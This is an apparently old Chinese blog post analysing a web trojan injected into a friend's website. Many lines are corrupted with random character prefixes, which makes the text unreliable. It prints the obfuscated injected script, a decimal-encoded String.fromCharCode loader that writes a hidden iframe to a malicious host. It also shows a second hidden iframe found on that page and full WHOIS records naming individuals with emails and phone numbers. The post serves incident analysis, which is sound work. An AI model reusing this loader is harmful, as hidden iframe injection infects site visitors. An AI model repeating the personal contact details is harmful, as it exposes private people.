首发在我的博客里面，
FDbb/6ku X#EMmB! http://www.areway.cn/?p=175 n!2 "pRIi AME3hA )^q M%k8 周末上线鸭子就Q我说他的站给挂了马，当时没太注意就直接打开了连接，截下了网页源码：
yAy~|1 } xdFm-_\- <script>t=’60,105,102,114,97,109,101,
-y5^xR 32,115,114,99,61,104,116,116,112,58,47,47,
Ur6UE 2 102,114,101,101,46,117,45,117,117,117,46,99,
Qj.]I0d 110,47,101,114,114,111,114,46,104,116,109,
MRR 5j;4GK 32,119,105,100,116,104,61,49,48,48,32,104,
!g
# 101,105,103,104,116,61,48,62,60,47,105,102,
jV2L;APCq 114,97,109,101,62′;
6}6;%{p"Gu t=eval(’String.fromCharCode(’+t+’)');document.write(t);</script>
$A;jl`ng UOJx-o!c? <script>t=’60,105,102,114,97,109,101,32,115,
3k.{gAZKh 114,99,61,104,116,116,112,58,47,47,102,114,
n sKl3}uU 101,101,46,117,45,117,117,117,46,99,110,47,
qjFz} 6 101,114,114,111,114,46,104,116,109,32,119,
8UJK]_99I, 105,100,116,104,61,49,48,48,32,104,101,105,
q_bE?j{ 103,104,116,61,48,62,60,47,105,102,114,97,
I<` K;El' 109,101,62′;t=eval(’String.fromCharCode(’+t+’)');
P^&%T?Y6z document.write(t);</script>
)h]~<
fU 9t:F![rg <html xmlns=”
# ` Q3Z}C http://www.w3.org/1999/xhtml ;IZ*o<_ “>
VgD z:j <head>
Y,w'Op <!– Published By Newasp.cc 2007-12-7-18:03:23 –>
##+|zka!U <meta http-equiv=”Content-Type” content=”text/html; charset=gb2312″ />
ELf cZfJ <title>首页 - 爱生活家庭网
8n+&tBq 1 L. ScC 上面有一段 script的十进制加密字段，里面的大概内容是，把所有的字符放在函数t里面，最后用doucment.write(t)来把字符串写在网页里面。
]VtVw^ ir 转换字符串后的大概内容是（谁点击后果自付）：
mk(O..)2 <script>t=’<iframe src=http://free.u-uuu.cn/error.htm width=………
Y~gDS^8 d[E~ }Dq3# 查询玉米u-uuu.cn的详细信息：
}Qyuy~-&^ Domain Name: u-uuu.cn
$M{MOehZ ROID: 20070901s10001s64972306-cn
+;^Ux W Domain Status: ok
` Fnl<C< Registrant Organization: 王雷
t2skg Registrant Name: 王雷
!~Gx@Ro Administrative Email:
czlovexs@126.com I@Pp[AyG Sponsoring Registrar: 北京万网志成科技有限公司
- sO[,
Name Server:ns.yovole.com
K&Ner(/X`6 Name Server:ns1.yovole.com
Rah"La Registration Date: 2007-09-01 17:54
@ x_. Expiration Date: 2008-09-01 17:54
3 #N'nhUzA 最后PING了一下地址 都没有什么….
'#RzX8|v< K2$ fKju 上虚拟机里面继续分析，IE里面打开上面的连接…查看源代码…..直接又有嵌套.
kW#,o 9f\ <iframe src=http://www.foafau.info/ms15.htm width=1 height=1></iframe>
XtY!fo * <script language=”javascript” src=”
3 <}\{ jT http://count43.51yes.com/click.aspx?id=4333375720&logo=6″></script + Ysm6n ' >
5p So`) 这个玉米应该有可能是木马作者的：
W!vN (1:( foafau.info的详细信息：
wNo2$>* Access to INFO WHOIS information is provided to assist persons in
,)/gy) ~# determining the contents of a domain name registration record in the
(3cJ8o>& Afilias registry database. The data in this record is provided by
z"#iG&>a, Afilias Limited for informational purposes only, and Afilias does not
JjA3G`m= guarantee its accuracy. This service is intended only for query-based
Geyy!sr`` access. You agree that you will use this data only for lawful purposes
g_X-.3=2K and that, under no circumstances will you use this data to: (a) allow,
\|e>(h!l; enable, or otherwise support the transmission by e-mail, telephone, or
`_%U K=m
facsimile of mass unsolicited, commercial advertising or solicitations
_gU:! :} to entities other than the data recipient’s own existing customers; or
t/55tL (b) enable high volume, automated, electronic processes that send
! %MI9 Ok queries or data to the systems of Registry Operator, a Registrar, or
= og>& K Afilias except as reasonably necessary to register domain names or
8T6LD modify existing registrations. All rights reserved. Afilias reserves
^*s DJ # the right to modify these terms at any time. By submitting this query,
g) 0>J you agree to abide by this policy.
~o{GQ> Domain ID:D22418703-LRMS
w-iu/|} Domain Name:FOAFAU.INFO
< z':_, Created On:20-Nov-2007 16:05:42 UTC
V"Cx5#\7C Last Updated On:20-Nov-2007 16:05:44 UTC
kY>jp@w V Expiration Date:20-Nov-2008 16:05:42 UTC
mzw`{Oy>L Sponsoring Registrar:GoDaddy.com Inc. (R171-LRMS)
w>#{Nl 7gz Status:CLIENT DELETE PROHIBITED
]oT8H?%*Y Status:CLIENT RENEW PROHIBITED
;f;A" Status:CLIENT TRANSFER PROHIBITED
F1_ s%& Status:CLIENT UPDATE PROHIBITED
m=Mb'< Status:TRANSFER PROHIBITED
(V&5EO8) Registrant ID:GODA-040110615
a8 X}r. Registrant Name:liu hong
e"}JHXs Registrant Organization:
44Dytpvg Registrant Street1:beijing
AWaptw_p*
Registrant Street2:
CFE ubEb Registrant Street3:
r<' ni Registrant City:beijing
-M]B;[^ Registrant State/Province:
MB7UI8 Registrant Postal Code:100000
~6 {iQZa1Y Registrant Country:CN
6HroKu Registrant Phone:+86.860108888777
9S 'u 1% Registrant Phone Ext.:
-e_91W I Registrant FAX:
*Bfo "["0. Registrant FAX Ext.:
cp1-eR_& Registrant Email:bbbshiji@163.com
/80H.|8O Admin ID:GODA-240110615
5(wmy-x\ Admin Name:liu hong
r ^=rs!f@ Admin Organization:
EPEWyGw Admin Street1:beijing
@jL](Mq|] Admin Street2:
l7h6R$7; 0 Admin Street3:
B":9C'tip Admin City:beijing
26M:D&| ZB Admin State/Province:
sNa L z Admin Postal Code:100000
ATQw=w
3W Admin Country:CN
Bo rr Admin Phone:+86.860108888777
iGq%|o> Admin Phone Ext.:
FOPfo b[ Admin FAX:
IRhi 1{K$" Admin FAX Ext.:
* 'eE[/K Admin Email:bbbshiji@163.com
Clz.
p Billing ID:GODA-340110615
6ZO6 O=KD Billing Name:liu hong
#ovausK[7 Billing Organization:
6a*?m{ Billing Street1:beijing
J\@|c.w s Billing Street2:
'FNnF m Billing Street3:
C n"_x Billing City:beijing
1Kjqs)p^ Billing State/Province:
YD3jP}Ym Billing Postal Code:100000
yj$$k~@ Billing Country:CN
GB%kxtGD;\ Billing Phone:+86.860108888777
O2pntKI Billing Phone Ext.:
- -fRh N> Billing FAX:
1d$qr` Billing FAX Ext.:
?"F9~vx&G Billing Email:bbbshiji@163.com
ol0i^d*9F Tech ID:GODA-140110615
~<N9ckK Tech Name:liu hong
= K)[3mX X Tech Organization:
_:N= Tech Street1:beijing
eOoqH$
i Tech Street2:
tJG+k )EE Tech Street3:
g6
H}a Tech City:beijing
bO i -QD Tech State/Province:
6i+<0b}!/ Tech Postal Code:100000
a}e GB + Tech Country:CN
F50l->F2& Tech Phone:+86.860108888777
`uKsFX M Tech Phone Ext.:
vjL +fH<0: Tech FAX:
t[e]AU[} Tech FAX Ext.:
$u~*V Tech Email:bbbshiji@163.com
XF&_**0n Name Server:NS27.DOMAINCONTROL.COM
`@q\R-` Name Server:NS28.DOMAINCONTROL.COM
E2xK GK Name Server:
PglSQ2P Name Server:
hW!2C6 Name Server:
z''ejq Name Server:
85x34nT Name Server:
/7 8zs- Name Server:
/[=Yv! Name Server:
.@Lktc Name Server:
uTdx`>M,O Name Server:
yhkKakg,) Name Server:
o;9 G{Xj3@ Name Server:
o)bKs>`
U SK 5_^4 接着下载每个文件里面的代码：
1> v(&;K 一步一步看..
<{+U- ^rzR 
w%?Zb[!& 
5t I#UBha 
zv7)JH7EV& 
2 \< u;9 
BM~6P|&qD 都是十进制的代码，也懒得再分析了，有这个爱好的大家可以继续试试
